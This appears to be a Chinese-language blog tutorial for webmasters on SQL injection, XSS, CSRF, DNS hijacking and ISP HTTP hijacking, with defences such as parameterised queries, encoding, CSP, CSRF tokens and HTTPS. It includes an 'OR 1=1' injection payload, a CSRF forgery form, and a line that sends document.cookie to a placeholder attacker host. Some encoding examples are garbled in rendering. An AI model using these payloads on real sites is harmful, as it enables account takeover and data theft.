在茫茫的互聯網上，隨時都在發生著攻擊，作為一個合格的站長，有必要了解網絡攻擊者常用的手段，對于常見的網絡攻擊和網絡防護來說很有必要。

一、SQL注入（SQL injection）

根據名字, 我們大致可以猜測到. 這個攻擊是和sql數據庫相關的(關系型數據庫). 系統的解釋一下: sql 注入: 指的是攻擊者注入一段惡意的腳本, 然后執行他想要的結果。 比如: 獲取到該db 里面所有的數據,刪除數據庫數據.(由于, 后臺給前臺開放的接口通常只是作為查詢使用, 所有 獲取db 所有數據這類攻擊比較常見).

實例攻擊

這類攻擊通常發生在，后臺使用動態腳本生成sql query string. 而且, 途中不經過混淆處理. 如下:

var name = req.query.userName;   var pass = req.query.password;   
    sql = "SELECT id FROM users WHERE username='" + uname + "' AND password='" + pass + "'";    database.execute(sql);

然后,attacker 可以 寫入如下的sql query string:

"SELECT id FROM users WHERE username=’username’ AND password=’pass’ OR 1=1";

即, 將pass寫為: pass’+“OR 1=1”+’; 并, 發送給服務端處理. 額… 結果的話, 你應該懂的 上面sql injection 只是 一個比較友好的 入侵(這算是良心黑客). 如果, 你的sql statement的操作權限不僅僅只限于查詢, 還包括CRUD操作的話. 那么，hacker 能做的就大了去了.

• 如果你的接口涉及 修改. 當hacker, inject 了一段 代碼，破壞你的數據的完整性. 這種情況可能造成, 其他查詢時，會出現無效查詢的結果.(void transaction), 甚至返回別人的數據.

• 如果你的接口 涉及 刪除. 那結果我就不多說了.

• 另外, 還有一些關于admin 或者 visitor的權限分配。 這也是考察數據庫安全性的一個標準.

SQL 防護

第一類方法， 算是一個比較笨笨的。 通過一個blacklists正則匹配, 檢測 query string里面的參數, 將一些可以字符排除掉。

第二類方法，也是最常用的。 使用數據庫自帶的一系列函數進行查詢. 這個應該不用多說， 數據庫自帶庫的函數 內部 對參數的處理，一定比我們重復造輪子檢測正確性高~ 比如, mongoDB 中的插入: collection.insertMany([],cb)

二、XSS attack

XSS(Cross-site scripting). 你問我為什么不是CSS? 我也不知道. XSS主要是指跨腳本攻擊, 其實就相當于執行js腳本. 經常出現在評論回復的邏輯頁面中. 

XSS 原理

我們先理解一下, 評論回復的流程. 正常情況下:

1. 用戶評論的內容–comment

2. 異步發送給Server, server 將其存儲在數據庫中。 成功時, 則返回新加的評論–comment

3. 此時, 使用

   comment

    將評論渲染出來.

上面一個流程可以很容易的說明一個道理, 即, 沒有對comment 進行任何的處理. 在這種情況下, XSS 簡直就是如魚得水。 比如:

//comment 為:<script type="text/javascript">console.log(123);</script>
    //渲染出來的內容為:<p><script type="text/javascript">console.log(123);</script></p>

最終渲染到頁面上的結果是, p里面的內容為空，控制臺輸出了123. 實際上, 評論已經被保存在數據庫。 當其他用戶訪問時，該評論中的script 腳本同樣會 發生作用.(可怕ing) 這才是, XSS 攻擊最讓人頭疼的地方. 下圖是基本運作流程圖: from acunetix 

XSS 其實, 不僅僅只有script 這個東西可以使用. 凡是涉及用戶輸入并且渲染到頁面上的，都有可能被XSS。

 比如:

所以上面就是針對標簽屬性進行XSS 攻擊. 這類方式的防止很好解決。就是使用setAttribute方法進行設置即可.

XSS 能做什么?

通過將腳本嵌套在正規頁面上, 用戶在打開該頁面時, 根本無法察覺, 自己已經變成XSS’s victim. 所以, 當用戶打開網站時, malicious 腳本便會執行. 該腳本通常能做的事情:

• 通過document.cookie 獲取用戶的cookie信息. 而且，如果你的token 不是放在Server 端，而是放在用戶cookie中，那么hacker 就完全獲得該用戶的信息, 假冒用戶進行登錄. 比如: window.location='http://attacker/?cookie='+document.cookie

• 腳本能夠對界面進行修改

• 如果頁面上有用戶輸入的私密信息，比如銀行賬號,密碼等。就可以綁定監聽， 并通過ajax將信息發送給hacker. (跨域完全可以通過CORS解決)

• 使用H5的相關API, 獲得用戶的人身信息. 比如, 攝像頭, 地理位置等. 當然, 用戶也不是傻, 不會平白無故的就把確認點了(使用這些API時, 需要獲取用戶的同意). 但在 social engineering 面前, 這一切都不是事.

• 地址的重定向, 這應該不用過多解釋. 只要使用window.location.href即可

prevent XSS attack

現在，我們已經知道xss的原理,即, 通過嵌入script腳本, 執行惡意的操作. 所以, 最基本的防護可以分為兩種:

• 驗證: 通過驗證用戶輸入的內容, 是否符合規則. 防止hacker插入, 惡意代碼.

• Encoding: 其實就相當于字符的轉義. 比如: 將’<’ 轉換為: &lt. '>'轉換為: &gt. (防止插入<script>或者其他tag–< p>< /p>)

• 實際上, 驗證可以分為blacklist 和 whitelist驗證. 不過,blacklist 只是作為介紹, 在正式開發中, 最常使用的應該算是whitelist.

• blackList 這種方法其實就相當于枚舉法, 只是, 他猜測的方向是針對hacker用戶. 比如. 設置一個正則./<script/g. 使用,replace進行替換, 或者彈出提醒框.

• whitelist 這和blacklist一樣, 只是里面設置的是對正確內容的驗證. 該方法，主要是注冊時候使用。 對用戶名, 昵稱等信息，使用相關的正則表達式進行驗證。 這就是典型的whitelist 方法.

Encoding: 這個方法就比較實誠了,沒有浮夸的正則. 有的是一些自定義的convert。

比如上面提到的: Convert & to & Convert < to> to >; Convert " to " Convert ’ to &#x27; Convert / to /

這樣, 可以防止嵌入的scipt腳本執行, 使其變為 data 直接渲染到頁面上. 下面我們針對不同的場景具體說明一下, XSS保護的措施.

針對標簽屬性的XSS防護

在講解標簽防護之前，我再把上面的XSS attack實例搬下來:

上面提到了,可以使用setAttribute進行內部的encoding. 在client-side 還有其他方法可以實現.

對于URL encoding的選擇簡而言之就是盡量在操作用戶輸入的數據的時候，減少innerHTML和outerHTML出現的頻次. 這里，還需要對URL para做一點補充.

對于encoding的方法,原生js 提供了3個global Funciton.

• escape()

• encodeURI()

• encodeURIComponent()

實際上,他們3個都可以作為encoding的方法. 但是, 既然都可以，那為什么會有3個呢？ in fact, 他們的專業方向還是很不一樣的.

• escape() 該方法主要是對字符串(string)進行編碼(ascii). 所有的空格,標點,以及任意的非ASCII字符都會被形如: %xx的替代. 如果 character 的 比特數>255 則會使用 %uxxxx來代替–最明顯的例子就是中文. 其中,這幾個字符@*/+不會被編碼. 接受的參數就是string. 即. escape(str); 詳細demo 可以參考:xkr escape. 其對應的decode的方法是: unescape(); 該方法主要的應用場景是對 傳輸內容進行轉換, 比如插入數據庫的內容等. (實話說，使用頻次還是挺低的)

• encodeURI() 該方法是一個比較常用的編碼url的方法. 通常,是用來將url字符全部轉化為合法字符, 進行傳輸. 比如: encodeURI("http://example.com?name=壞人") 輸出的結果為:http://example.com?name=壞人. encodeURI 不會對下列字符進行convert:ASCII字母 數字 ~!@#$&*()=:/,;?+' 對應的decode方法為: decodeURI 主要使用場景有:對URL進行編碼, 以及post方式,指定Content-Type:application/x-www-form-urlencoded 時，傳輸的encodeURI(str)內容.

• encodeURIComponent() 這個方法最容易和encodeURI 混淆. 實際上, 該方法只針對于URI中的 query.(甚至連search部分都不能用,想想都是怕的). 該方法不會對:ASCII字母 數字 ~!*()'進行convert. 其對應的decode方法有: decodeURIComponent

所以, 在形如. < a href="http://example.com?usrInput">link 我們就需要對usrInput進行encodeURI(), 編碼轉化了. 以及,在動態添加styel時,對于background或者background-url里的, usrInput 進行encodeURI().

對于input內容進行防護

這個主要就是針對于評論內容了. 不過由于內容過于復雜，這里就不詳述。 大概就是上面的幾點，以及 字符的轉化. 推薦使用XSS module 進行轉化.

CSP之終極防護

我一直深信著一句話

There is no absolute security system

就算一個小小的lapse也會給hacker 可乘之機. 所以, 在進行XSS 防護時, 難免會有些遺漏, CSP 應該算是在hacker 找到漏洞后的一道有力的防線.CSP 我已經在我另外一篇博文里面闡述了CSP頁面防護 CSP的設計目的就是為了增強網頁的安全性,解放程序員和hacker的死磕. 而且,對于XSS的防護有這天然的優勢. 因為XSS,主要就是插入內嵌或者 跨域的script 執行. 而CSP可以做到的就有:

• 不加載不安全腳本

• 不執行內聯腳本

• 不執行eval函數

那, 應該如何使用呢? CSP主要和響應頭–Content?Security?Policy 相關. 通過server-side 返回Content?Security?Policy 頭，來啟用不同程度的防護措施. 這里，我們只介紹于XSS相關的. 通常，我們可以在CSP 頭里設置一些相關directive.比如:

• default-src: 默認資源設置, 比如js,css,img,fonts,xhr等

• script-src: 設置js腳本的相關方法

• style-src: 設置css腳本的相關方法

• img-src: 設置圖片的相關方法

• child-src: 設置iframe的相關sandbox

• …

不過我們一般只需要了解前4個即可. 每個值可以取相關的屬性.比如: default-src self. 表示默認頁面的資源只能加載同域的內容. 我們來著重看一下 default-src 可以設置的內容

1. script?src 'self' scripts.example.com;

2. img?src *;

3. default?src 'self' http://*.example.com

比如: 我們可以設置 script-src 'self'. 此時, 只允許同域資源. 并且不會執行內聯腳本和eval函數. 如果解除兩者的限制，可以添加上. script-src 'self' 'unsafe-inline'; 另外, 我們還可以設置跨域腳本的執行 script-src 'self' http://example.com 這樣,資源不僅僅可以從同源server-side下載，還可以從example.com 下載. 推薦一個,比較好的CSP頭的設置內容:

那如何啟用CSP呢? 在nginx下,給conf配置文件, 加上如下的內容. add_header Content-Security-Policy "default-src 'self';";

CSP參考文獻: CSP.com

XSS 參考文獻: google 出品 OWASP 防護

三、CSRF 攻防戰

CSRF or cross-site request forgery or 跨域假冒請求. 他的工作原理是, 通過GET 或者 POST發送相應的信息給一個信息網站, 比如, 銀行網, 信貸網, 百合網等. 在發送過程中, 實際上該次請求會帶上你的原本的IP address 和 cookie info. 實例 假設,網站www.example.com 沒有進行CORS(跨域請求設置), 同意任意域名的訪問,即: Access-Control-Allow-Origin: '*'; 那么, 如果該網站的某個路由設置不當,就有可能發生CSRF. 

現在, hacker 給 victim 發送一封 e-HTML 郵件. 

郵件里面有這樣一段內容: 

翻譯一下, 就是給jimmy賬戶, 轉過去100￥. 當然, 前提是, 該接口滿足該方式的訪問. 當用戶打開該email時, img會立即發送一個請求。

假設, 你的登錄狀態(session cookie) 還未過期, 在該請求中，會一并帶上在https://www.example.com/transfer下存儲的cookie. 相當于獲得了你已經登錄的權限, 假冒你進行相關的操作. 但是, referer 里的內容是不會被改變的, 即如果你是從 www.malicious.com 發的請求, 那么referer 還是 www.malicious.com(提示: 跨域)

so, 不過目前來說,沒有哪位童鞋會通過 最讓hacker喜歡的get方式, 去傳輸如此重要的信息.而且在get傳輸的時候, 有心的dev也會做相關的混淆.

那, CSRF就沒有辦法了么? actually, 沒了get 我還有POST. 不過, 我們這里并不是討論ajax的 跨域post. 因為ajax的post請求，只會發送當前頁的cookie, 而不會在瀏覽器中搜索目標頁的cookie. 而且, CSRF的工作環境是user PC. 而Form 表單發送就是CSRF最好的post 發送方式, 即可以帶上cookie, 又可以避免瀏覽器的跨域干涉. 下列是, CSRF常用的幾種方式 那CSRF 中, 通常怎么進行POST的發送呢?

POST’s CSRF

很簡單,構建一個form表單即可.

<form action="http://example.com" method="POST">
    <input type="text" name="account">
    <input type="text" name="password">
    <input type="submit">
    </form>

將表單插入到你malicious 網頁內部， 利用社工, 誘導用戶進入你的頁面，然后發送內容. 如果你想做的比較隱蔽的話，可以使用iframe, 額外將表單引入, 然后, 自動執行submit 操作. 現在,hacker都能通過 GET 和POST, 巧妙的獲取用戶的session. 那, how to prevent CSRF?

how to Prevent CSRF

CSRF有3個特性: 跨域, cookie, 請求方式. 所以，只要阻斷其中一個,那么CSRF 就可以 go die了.

設置 secert Token

這個就很好理解了, 即, 前端和后臺雙方協定一個token內容 , 或者直接由 back-end 生成 random token. 然后在有請求到來時,server-side 進行Token驗證.

<form action="https://example.com/tweet" method="POST">
    <input type="hidden" name="csrf-token" value="nc98P987bcpncYhoadjoiydc9ajDlcn" />
    </form>

這里的value 就可以用來作為request有效性的說明. 通常設置的token也是有講究的, 比如可以使用 指定字符+time來生成, 指定字符+salt生成. 這些Token驗證方式，我們都可以自己下去琢磨的。 所以, 就算hacker生成了 form表單, 但是, 他的驗證內容可能已經過期(無效Token). 同樣, 我們還可以在cookie中設置驗證Token. 原理我就不過多介紹了, cookie中設置的內容和上文在form中設置的其實差不多. 另外, 還需要注意的是,針對重要cookie, 需要設置 httpOnly的選項, 防止用戶腳本獲取cookie內容.

盡量使用JSON類型傳輸

因為, form 傳輸的格式為: Content-Type: application/x-www-form-urlencoded 而,JSON的傳輸類型為: Content-Type: application/json form 沒有辦法去模仿JSON類型進行傳輸，所以，這也是一個很好的辦法. 另外, 如果不得不使用form表單方式提交, 還有另外一種方式. 我們可以通過request Header中的referrer屬性, 來獲得發送腳本的地址. 通過whitelist, 來允許指定域的請求訪問.

四、DNS hijacking

關于DNS劫持, 事實上更偏向于User,因為, developer實際上,對這個也無能為力。 我們來簡述一下,DNS hijack的過程。 

如果大家清楚DNS 的解析過程話,上圖的邏輯就很清楚了。 用戶輸入一個真域名，向 fake DNS Server 發起UDP請求，然后, DNS返回一個malicious的IP地址, 結果,用戶打開的是一個全屏廣告,或者是 妹妹寂寞的網頁. actually, 上圖還忽略了一個很重要的步驟, 就是 用戶如何會向 fake DNS Server 發請求的呢？ 實際上, 這個鍋，需要用戶背. 以前trojan horse (木馬病毒)盛行的時候, OS的安全性 真的 有點可憐. 當user 下載 來源不明的video,image, software… 很可能會附帶上蜜汁病毒, 然后,病毒會修改你的ISP服務配置, 即, 就是你的DNS提供商的IP地址. 然后, hacker會將他control的DNS Server 填加進去. 那, 我們怎樣才能知道自己被hack了呢？ 很簡單,google唄.對于,MAC用戶, 只要找到你的DNS列表，然后對應FBI或者國家安全網提供的DNSchanger IP對照一下,如果有就cleanup一下.

DNS hijacking 的危害

雖然DNS hijack的攻擊成本很大, 但是,成功后的profit 也是相當大的. hacker 可以將fake的銀行網頁信息發給你, 誘騙你的account. 或者 將正確的網頁緩存, 插入更多的廣告收取廣告費用.

how to revent hijack

事實上, 只有一種辦法，潔身自好~ (你懂的)

五、HTTP(ISP) 劫持

首先,我google了–HTTP 劫持, 結果, 歪果仁對于ISP hijacking的認識, 還是蠻少的,結果全是神馬DNS劫持之類的. 后來, 我特么換了中文搜索–http 劫持. 我就不多說了. 看來國人對于HTTP 劫持的認識還是超級深刻啊喂. 原因是什么-- 廣告唄~ 看一個常見的彈窗廣告:  你可以關閉他, 但是, 特么每次打開都要關閉, 超級煩~ 試想一下, 當你打開一個頁面, 結果左側右側全是些 iframe廣告, 第一個反應是, 網業主, 你是不是窮瘋了, 沒事給自己頁面添這么多廣告是干嘛… 網頁主 莫名的背鍋. 然后, 只能對這些小白深深的嘆口氣-- 親, 這不是我干的, 這是電信, 聯通那些ISP 提供商干的… 所以, 由于沒有完備的網絡法, 對于ISP 干的這些齷蹉勾當，監管局根本不鳥你. 所以, 你懂的.

HTTP 劫持原理

這里我們要清楚一點, CN的運營商并不是hacker, 他不會這樣或那樣的獲取用戶的信息(我沒說郭嘉的墻), 可能為了商業目的，會變得沒有節操，給你安放一點廣告. 所以, 這里hacker并沒有插入, 沒節操的只是運營商. ok~ 我們正式來看一下ISP如何劫持的HTTP流量的:

• 當C->S 發送一個網頁請求

• ISP 獲得之后, 給他自己的緩存服務器

• 如果命中緩存, 則返回已經修改過后的頁面信息(滿屏操廣告). 如果沒有, 要么是你的網頁瀏覽量不夠，要么是別人已經存滿了，你的網頁僥幸的沒有被插菊花.

• 命中后,緩存服務器偽裝為S,給C發送一個302(臨時移動,告訴你,應該從另外一個地方去取資源). 由于, 這是個重定向,所以傳輸速度就不用說了, C 就只能乖乖的去緩存服務器那取資源. 而忽略正確的Server返回的數據.

之后的事，就是你看到的網頁了. 那我們有沒有什么防護措施呢?

HTTP 劫持防護

首先, 我們需要明確一點, 這里的防護有兩點:

• User 對抗 ISP

• developer 對抗 ISP

普通用戶的防范

1. 直接和你家網絡提供商打電話,讓他取消廣告推送.

2. 該方法需要對技術有點了解特別是對網絡結構模塊有了解–網關,代理,隧道,ip等. 參考:HTTP 防劫持

developer 防范

1. 簡單有效的方式是,使用HTTPS 加密方式傳輸. 因為, ISP就是通過抓你的HTTP包，然后分析里面的內容，最終得到結果. 而使用HTTPS 方式, 即使ISP 得到你的HTTPS包,由于有SSL 的加密， 他也不能獲得你的包內容.

2. 替換你的js的提供商，使用HTTPS路徑進行加載。比如使用七牛的HTTPS提供的腳本服務. 因為, ISP 不經可以結果你的HTML, 也可以結果你網頁中所有的HTTP請求，而js又是最重要的內容，所以，把這個控制到了，那么你網頁可以抵擋差不多80%的HTTP 劫持.

本文鏈接：http://www.sztqnet.com/article/327.html